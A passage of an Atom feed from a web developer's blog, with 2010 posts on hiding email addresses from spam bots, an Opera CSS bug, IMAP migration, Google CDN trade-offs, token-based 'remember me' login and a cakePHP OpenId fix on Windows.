only see the user part, which is not really useful.&lt;/p&gt;
&lt;h2&gt;Using an HTTP redirect&lt;/h2&gt;
&lt;p&gt;This one is a clever one that I haven&#39;t seen used a lot. Instead of making a
link to a mailto:, you make the link go to a mail.php page that will only
contain one php statement:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;header&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Location: mailto:user@domain.com&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&#39;m not sure of the browser support of this, however. And it still won&#39;t solve
the problem of displaying your email address.&lt;/p&gt;
&lt;h2&gt;Adding HTML noise&lt;/h2&gt;
&lt;p&gt;You can add HTML comments (&lt;code&gt;&amp;lt;!-- --&amp;gt;&lt;/code&gt;), or useless elements (&lt;code&gt;&amp;lt;span /&amp;gt;&lt;/code&gt;) all
around your email adress. They won&#39;t get processed by your browser that will
still display it as normal, but it will most likely make the spam bot choke.&lt;/p&gt;
&lt;p&gt;Unfortunatly, you can&#39;t use them in the &lt;code&gt;href=&amp;quot;mailto:&amp;quot;&lt;/code&gt; section of your link,
so it is not a perfect fit either. But still, that&#39;s a good start.&lt;/p&gt;
&lt;h2&gt;Using Javascript to populate the email&lt;/h2&gt;
&lt;p&gt;The principle behind this one is that Javascript will write the email adress for
you in the code. As most spam bots won&#39;t have Javascript enabled (again, I don&#39;t
have source to back that up but I assume so), they won&#39;t be able to see it.&lt;/p&gt;
&lt;p&gt;Just write your email address in a Javascript file, maybe in several different
variables that you&#39;ll merge to create the final one. The more obfuscated your
code is, the harder it will be for the spammer to add its logic to its bot.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;There isn&#39;t one perfect solution yet. But maybe, merging several of them we
could bypass the weaknesses to create something that really handle all the
situations.&lt;/p&gt;
&lt;p&gt;I have some ideas in the back of my head actually, I&#39;ll try to make something
with them and post it here.&lt;/p&gt;
&lt;p&gt;I&#39;m pretty sure starting with an obfuscated HTML source (but still correctlt
displaying), then adding an obfuscated Javascript layer to create the &lt;code&gt;mailto:&lt;/code&gt;
link is the way to go.&lt;/p&gt;
&lt;p&gt;This would mean a better user experience for users with Javascript, but that&#39;s
ok, that&#39;s what Javascript is for.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Opera bug: border-radius and background-color on an input</title>
    <link href="https://blog.pixelastic.com/2010/06/01/opera-bug-border-radius-and-background-color-on-an-input/"/>
    <updated>2010-06-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/06/01/opera-bug-border-radius-and-background-color-on-an-input</id>
    <content type="html">&lt;p&gt;The form inputs of this site all have a border-radius and a background-color.
Unfortunatly, the latest Opera version just don&#39;t like that (9.5 works like a
charm).&lt;/p&gt;
&lt;p&gt;When you apply the following rules to an input element, Opera will discard your
background color and render it as transparent instead.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    border-radius&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    border&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#375a5e&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All three rules causes the bug. Remove one of them and the bug disappear.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;At first I thought that I could just as well remove the border-radius rule and I
won&#39;t have any more bugs. But a slightly decreased user experience for my Opera
readers.&lt;/p&gt;
&lt;p&gt;Then I&#39;ll try to come up with a better solution. One can add a background- image
instead of a background-color. Odd enough, this won&#39;t trigger the bug.&lt;/p&gt;
&lt;p&gt;But I wanted to avoid that, that&#39;s one more useless request to the server and
it&#39;s far more easier to change a color code in a css file that to edit an image
file.&lt;/p&gt;
&lt;p&gt;The solution I choose was to not set a &lt;code&gt;border:none;&lt;/code&gt; but to simulate it by
adding invisible border. That would add 1px around the input element, so we&#39;ll
limit it by only adding the border on one of the sides. Adding it on the right
side seemed to be the more convenient method.&lt;/p&gt;
&lt;p&gt;So here&#39;s my updated code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  border-radius&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  border&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  border-right&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; solid&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; rgba&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;#375a5e&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>New website</title>
    <link href="https://blog.pixelastic.com/2010/05/31/new-website/"/>
    <updated>2010-05-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/31/new-website</id>
    <content type="html">&lt;p&gt;I just uploaded the new version of the website. The old one was severely needing
a fresh new look, so here it is.&lt;/p&gt;
&lt;p&gt;As I want to showcase my skills as a web developer I didn&#39;t want a website with
a too awesome design, so I decided to do it all by myself. I&#39;m quite happy with
the result.&lt;/p&gt;
&lt;p&gt;The &amp;quot;Work&amp;quot; page is still in progress, images from the old site aren&#39;t yet
available and I haven&#39;t yet tested it with IE.&lt;/p&gt;
&lt;p&gt;I&#39;ve added a comment section (a feature that was lacking from the previous
site). I plan to translate the site in French to have something fully bilingual,
but that too is a work in progress.&lt;/p&gt;
&lt;p&gt;If you ever spot a bug, just drop a comment, I&#39;m hunting them right now.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Migrating mails from IMAP to IMAP (part 1/2)</title>
    <link href="https://blog.pixelastic.com/2010/05/28/migrating-mails-imap-part-1-2/"/>
    <updated>2010-05-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/28/migrating-mails-imap-part-1-2</id>
    <content type="html">&lt;p&gt;One of my clients wanted to change its hosting provider because of almost
constant downtime. I suggested that we move the whole site and the associated
email addresses to Dreamhost.&lt;/p&gt;
&lt;p&gt;He is heavily using its webmail, with a dozen of different accounts, all with
custom address book and drafts to reuse.&lt;/p&gt;
&lt;p&gt;I had already moved a previous site of the same client to a GMail powered
webmail and he wasn&#39;t so satisfied of it because of the lack of a &amp;quot;draft&amp;quot;
feature that would allow him to reuse the same message templates.&lt;/p&gt;
&lt;p&gt;Its current webmail is powered by Imp (Horde) and the default Dreamhost webmail
is Squirel Mail.&lt;/p&gt;
&lt;p&gt;So now I&#39;m faced with a challenge. Which webmail should I choose and how will I
initiate the migration?&lt;/p&gt;
&lt;h2&gt;Contestant 1: Horde&lt;/h2&gt;
&lt;p&gt;The easiest way would have been to reuse Horde. Horde has a nifty export/import
function. It means that I could have exported the settings on the current host
and imported them back in the new host.&lt;/p&gt;
&lt;p&gt;Unfortunatly, Horde is not pre-installed on Dreamhost. It means I would have to
install it and I don&#39;t really want to do it. This is not my area of expertise
and if something goes wrong it will take me ages to fix.&lt;/p&gt;
&lt;p&gt;Additionnaly, the default php5 install on Dreamhost lacks the IMAP extension
needed and SSL connection requires an additional monthly fee.&lt;/p&gt;
&lt;p&gt;That would be the better solution for the client, but I don&#39;t feel capable of
doing it.&lt;/p&gt;
&lt;h2&gt;Contestant 2: Squirel Mail&lt;/h2&gt;
&lt;p&gt;Squirel Mail is the default webmail on Dreamhost. It means that they do handle
all the heavy stuff of configuring it and making sure it does not crash.&lt;/p&gt;
&lt;p&gt;They assure me that I can have unlimited hosting of my mails, the only limits
are a maximum of 100 SMTP sending per hour and no attached filed &amp;gt; 7Mo.&lt;/p&gt;
&lt;p&gt;Those are almost no issues at all, we can handle that. I just have to check if
the 100 sending per hour is for each mail address or for the entire account.&lt;/p&gt;
&lt;p&gt;The only problem will be that I can&#39;t export/import the horde feature into
Squirel.&lt;/p&gt;
&lt;p&gt;What I could do however is synchronize the two IMAP servers, effectively copying
all the mail from the current one to the new. Unfortunatly, there is no easy way
to do that.&lt;/p&gt;
&lt;p&gt;The Dreamhost support even told me that it was impossible. I found a linux
command named imapsynch however that maybe could help, but I&#39;ll need to know the
name of the dreamhost imap server and needed credentials to connect to it. I&#39;ll
sort this out with them.&lt;/p&gt;
&lt;h2&gt;Contestant 3: GMail&lt;/h2&gt;
&lt;p&gt;I&#39;ve already set mails up with GMail a couple of times in the past so this won&#39;t
be too hard. Could take some times, but nothing difficult about that.&lt;/p&gt;
&lt;p&gt;I may be able to copy the current mails to the GMail server, I&#39;ve seen some
articles on the subject floating on the network, but I&#39;ll definitly won&#39;t be
able to copy drafts.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I&#39;m still in contact with the Dreamhost support to choose the better option. I
don&#39;t think I&#39;ll install Horde, this will be too much work. I guess I&#39;ll go with
the second option of migrating mails to Squirel Mail.&lt;/p&gt;
&lt;p&gt;Whatever solution I&#39;ll pick, I&#39;ll be sure to post the whole details here for
others to follow.&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;&lt;del&gt;I finally won&#39;t have to migrate mails, the client makes regular POP backup
of its mails so he will just do one more right before the transfer and will
start over with a brand new mail boxes. Concerning the drafts, he will manually
copy-paste them from one webmail to the other and he told me that he wasn&#39;t
using the address book...&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;del&gt;So it appears that I&#39;ll just have to change the DNS to point to the new
webmail and create a temporary CNAME to still access the old webmail on the old
server until the migration is totally over.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;Re-update&lt;/p&gt;
&lt;p&gt;In fact, it appears that I won&#39;t be able to access both webmail at the same
time. I&#39;ll have DNS issues, and the registrar panel that I have is very basic, I
won&#39;t be able to fine tuned it correctly.&lt;/p&gt;
&lt;p&gt;It seems that I&#39;ll have to migrate mails from one server to the other.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Pros and cons of using Google CDN for your assets</title>
    <link href="https://blog.pixelastic.com/2010/05/25/pros-cons-google-cdn-assets/"/>
    <updated>2010-05-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/25/pros-cons-google-cdn-assets</id>
    <content type="html">&lt;p&gt;With the recent Google Fonts breakout, much debate surfaces to know if it really
was useful to use Google CDN to deliver your assets to your users.&lt;/p&gt;
&lt;p&gt;I used to think it was a goog thing because it allowed for parallelized
download, but after reading really good articles on the subject I&#39;m not so sure.&lt;/p&gt;
&lt;p&gt;I&#39;ll try to list the pros and cons of using Google CDN instead of serving your
files locally.&lt;/p&gt;
&lt;h2&gt;Pros&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Using a CDN assure you that your users will get content from the closest
server around them, no matter where they are.&lt;/li&gt;
&lt;li&gt;The more websites will use Google CDN, the biggest the chance of your user
already having the file in its cache&lt;/li&gt;
&lt;li&gt;Downloading from a CDN assure that you won&#39;t be sending useless cookies along
the request. You shouldn&#39;t send cookies when fetching your static files
anyway, but sometime -Google Analytics for example-, some script create
domain-wide cookies that still get sent.&lt;/li&gt;
&lt;li&gt;Many niched major websites (ArmorGames.com, StackOverflow.com, etc) uses the
CDN, so if a large part of your trafic is coming from one of those, using the
CDN and the exact same library version will have no perfomance downsides for
you.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Cons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Using a CDN create a new connection to access the ressource on an other server
instead of using the already open connection to your website. Creating a new
connection is slow.&lt;/li&gt;
&lt;li&gt;Caching of the files will only be possible if the exact same version url is
used. E. using &lt;code&gt;/jquery/1.4.0/&lt;/code&gt; instead of &lt;code&gt;/jquery/1.4/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If you already are using your own CDN for your images, you should also use it
for your javascript and in this case the google one is worthless because you
already have all the advantages.&lt;/li&gt;
&lt;li&gt;An Internet connection is required. This may seem obvious but if you have to
work on a project while on a trip, you&#39;ll need a local copy of the library.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stalemate&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Using a CDN force a DNS lookup. This lookup can be cached if the user already
visited your website or another that use the same CDN however.&lt;/li&gt;
&lt;li&gt;Browsers have a limit of paralels downloads on the same host. Using a CDN
allow for more parallelization. But creating dummy subdomains like
&lt;code&gt;static.domain.com&lt;/code&gt; would also defeat this limitation.&lt;/li&gt;
&lt;li&gt;In the case of Javascript/CSS, packing all your files (scripts and libraries)
in one big file on your server and serving it gzipped will result in a better
compression that serving the library from a CDN and your scripts from your
server. On the other hand, the user would have to re-download the whole
package whenever you make a tiny change to your scripts, even if you didn&#39;t
changed the library.&lt;/li&gt;
&lt;li&gt;Downloading script usually block page execution. So reducing the number of
scripts to load (by packing them in one file instead of downloading one
locally and one on the CDN) will reduce the blocking time. On the other hand,
merging two files will result in a longer download time (because the file is
larger) while using the CDN would allow the two scripts to download in
parallel.&lt;/li&gt;
&lt;li&gt;What happen if your CDN is down? Well, when using Google that&#39;s not much a
risk but still. As a side effect, you should&#39;nt even consider using a CDN if
your application is for an intranet.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;As a conclusion, all I can answer to the &amp;quot;Should I use the Google CDN for my
javascript libraries?&amp;quot; is &amp;quot;Well... it depends...&amp;quot;.&lt;/p&gt;
&lt;p&gt;Really it depends on your configuration. Run some tests, try with a CDN or by
compressing the library into your main file. Check where your users are coming
from and the average loading time. Test various configuration until you found
the one that works the best for you.&lt;/p&gt;
&lt;p&gt;On a personal note I do use Google CDN for my websites. The cost of the DNS
lookup and connection to the Google server is really worth the parallelized
download in my case. But it may be so because I&#39;m living in France and my
website is hosted in the US, so a CDN really helps.&lt;/p&gt;
&lt;h2&gt;Source links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://docs.google.com/document/pub?id=14Xn7kkKwVxSie6xHJwWRAP5mutM7qlWcrHgWtZo63gI&lt;/li&gt;
&lt;li&gt;http://zoompf.com/blog/2010/01/should-you-use-javascript-library-cdns&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Doing persistent login the right way</title>
    <link href="https://blog.pixelastic.com/2010/05/25/doing-persistent-login-the-right-way/"/>
    <updated>2010-05-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/25/doing-persistent-login-the-right-way</id>
    <content type="html">&lt;p&gt;When I was a young web developer, I had to code an admin panel, with username
and login. I also added the well-known &amp;quot;Remember me&amp;quot; checkbox.&lt;/p&gt;
&lt;p&gt;I wasn&#39;t really educated to the security concerns of developing such a feature.
In fact, I was even storing the passwords as plain text in the database.&lt;/p&gt;
&lt;p&gt;And to allow the user to auto-login, I stored the user and password, in plain
text, in a cookie and requested a login with those credentials whenever its
session expired.&lt;/p&gt;
&lt;h2&gt;That&#39;s insane!&lt;/h2&gt;
&lt;p&gt;Yes it was, but I remember thinking &amp;quot;Well, nobody can even have access to the
database so there&#39;s no risk&amp;quot; and &amp;quot;I can store the password in the cookie, it is
only accessible by the user, and he surely already know its password. There&#39;s no
harm in that&amp;quot;&lt;/p&gt;
&lt;p&gt;Well, XSS and CSRF weren&#39;t so common back in those days.&lt;/p&gt;
&lt;p&gt;Since then I&#39;ve learned a lot. There&#39;s just no way I&#39;ll ever store a plain text
or uncrypted password in a database again. Hashing and salting is the way to go.&lt;/p&gt;
&lt;p&gt;But I kept implementing the persistent login feature following the same pattern:
saving the username and hashed password in the cookie.&lt;/p&gt;
&lt;p&gt;I was thinking &amp;quot;The password is not stored as plain text but as a hash, there&#39;s
no way an attacker would even be able to guess the password from that&amp;quot;.&lt;/p&gt;
&lt;h2&gt;That&#39;s better, but still...&lt;/h2&gt;
&lt;p&gt;I haven&#39;t thought that the cookie was like an open sesame to my app. One would
just have to steal the file and place it in its browser cookie list and he would
have exactly the same access to the website, without having to know my password.&lt;/p&gt;
&lt;p&gt;In the meantime I was also implementing OpenId authentication and as it is
passwordless (at least from the website point of view), I couldn&#39;t save the
username and password in the cookie.&lt;/p&gt;
&lt;p&gt;Clearly, something was broken in my persistent login implementation.&lt;/p&gt;
&lt;h2&gt;Here come the tokens&lt;/h2&gt;
&lt;p&gt;After some research, I finally get it the right way.&lt;/p&gt;
&lt;p&gt;Whenever a user authenticate, be it from a classical user/pass login form or
using OpenId, I keep it loggued using session vars. When the session var
expires, the user is loggued out. If he had checked the &amp;quot;Remember me&amp;quot; checkbox,
I would try to re-authenticate him automatically.&lt;/p&gt;
&lt;p&gt;In order to do that, I had to change my implementation. The first thing to do
was creating a &lt;code&gt;UserToken&lt;/code&gt; table with 3 fields: &lt;code&gt;user_id&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt; and
&lt;code&gt;duration&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then, when the user authenticate I generate a random token and save it along the
&lt;code&gt;user_id&lt;/code&gt; in a cookie.&lt;/p&gt;
&lt;p&gt;I&#39;ll also populate the &lt;code&gt;UserToken&lt;/code&gt; table with the &lt;code&gt;user_id&lt;/code&gt;, a hashed version of
the token,  and matching the &lt;code&gt;duration&lt;/code&gt; to the expires date of the cookie.&lt;/p&gt;
&lt;p&gt;That way, the next time that the user comes to my website without a session I
check its cookie. If he has a &lt;code&gt;user_id&lt;/code&gt; and a token, I&#39;ll try to authenticate
him.&lt;/p&gt;
&lt;p&gt;I&#39;ll find a matching &lt;code&gt;user_id&lt;/code&gt; and hashed token. If there are no results, then
the cookie is not valid. Either it has been already used or it is a cookie
forgery attempt. In that case, I&#39;ll do nothing.&lt;/p&gt;
&lt;p&gt;If there&#39;s a match, I still check that the token is not expired. If it is, I&#39;ll
delete it in the database, as well as clearing the cookie. On the other hand, if
the cookie is still valid, I log the user in.&lt;/p&gt;
&lt;p&gt;Once the user is loggued in I generate a new token, update the cookie and update
the table with a hashed version of it.&lt;/p&gt;
&lt;p&gt;That way each token can only be used once and are generated only when the user
correctly authenticate and are only used once the session expires.&lt;/p&gt;
&lt;h2&gt;But one can still steal cookies&lt;/h2&gt;
&lt;p&gt;Yes, a malicious user can still steal my cookie, copy it to its computer and use
the token to login. That&#39;s true and as we can&#39;t do anything against that, we
could still try to mitigate it.&lt;/p&gt;
&lt;p&gt;First precaution would be to disable any sensitive information edition while
loggued in using the cookie. Like bank account, personnal information, password
changing, etc.&lt;/p&gt;
&lt;p&gt;The second thing would be to check for any hacking attempt. Whenever I guess for
a forgery attempt (trying to login with a bad set of id / hashed token), I
delete all UserToken associated for this user. This will block any bruteforce
attack because even there won&#39;t be any more match in the database.&lt;/p&gt;
&lt;p&gt;It is also wise to display a warning message to the user telling him that his
account may have been compromised and that he should be wary and maybe change
its password.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using cakePHP OpenId plugin on Windows</title>
    <link href="https://blog.pixelastic.com/2010/05/21/adding-openid-support/"/>
    <updated>2010-05-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/21/adding-openid-support</id>
    <content type="html">&lt;p&gt;After all the praises I&#39;ve read about OpenId, I decided to implement it in this
CMS. My goal was to set an easy way for readers to leave comments without the
need for registering to anything.&lt;/p&gt;
&lt;p&gt;I thought it would also be great to add as a secondary, and easiest, mechanism
for logging in.&lt;/p&gt;
&lt;p&gt;So I downloaded and installed the openID component by cakebaker. As I&#39;m running
my dev environment under Windows, I had to set some settings.&lt;/p&gt;
&lt;h2&gt;Fixing the pluginPath&lt;/h2&gt;
&lt;p&gt;I&#39;ve save the OpenId component in a plugin, and it has a clever mechanism to
import the PHP OpenId library based on the folder it is saved.&lt;/p&gt;
&lt;p&gt;Unfortunatly, the regexp used to know the name of the current plugin was
throwing errors on Windows, due to the backslashes used in the file path.&lt;/p&gt;
&lt;p&gt;I updated the &lt;code&gt;getPluginName()&lt;/code&gt; method to this new one and it did the trick:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;private&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; getPluginName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $result&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $ds&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Folder::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;isWindowsPath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;__FILE__&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;&#92;&#92;&#92;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; DS&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preg_match&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$ds&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;plugins&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$ds&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;(.*)&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$ds&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;controllers#&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;__FILE__&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $result&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Basically it makes sure that the backslashes are correctly escaped under
Windows.&lt;/p&gt;
&lt;p&gt;Edit: I&#39;ve sent this patch to the OpenId component author and it is now fixed in
the latest versions.&lt;/p&gt;
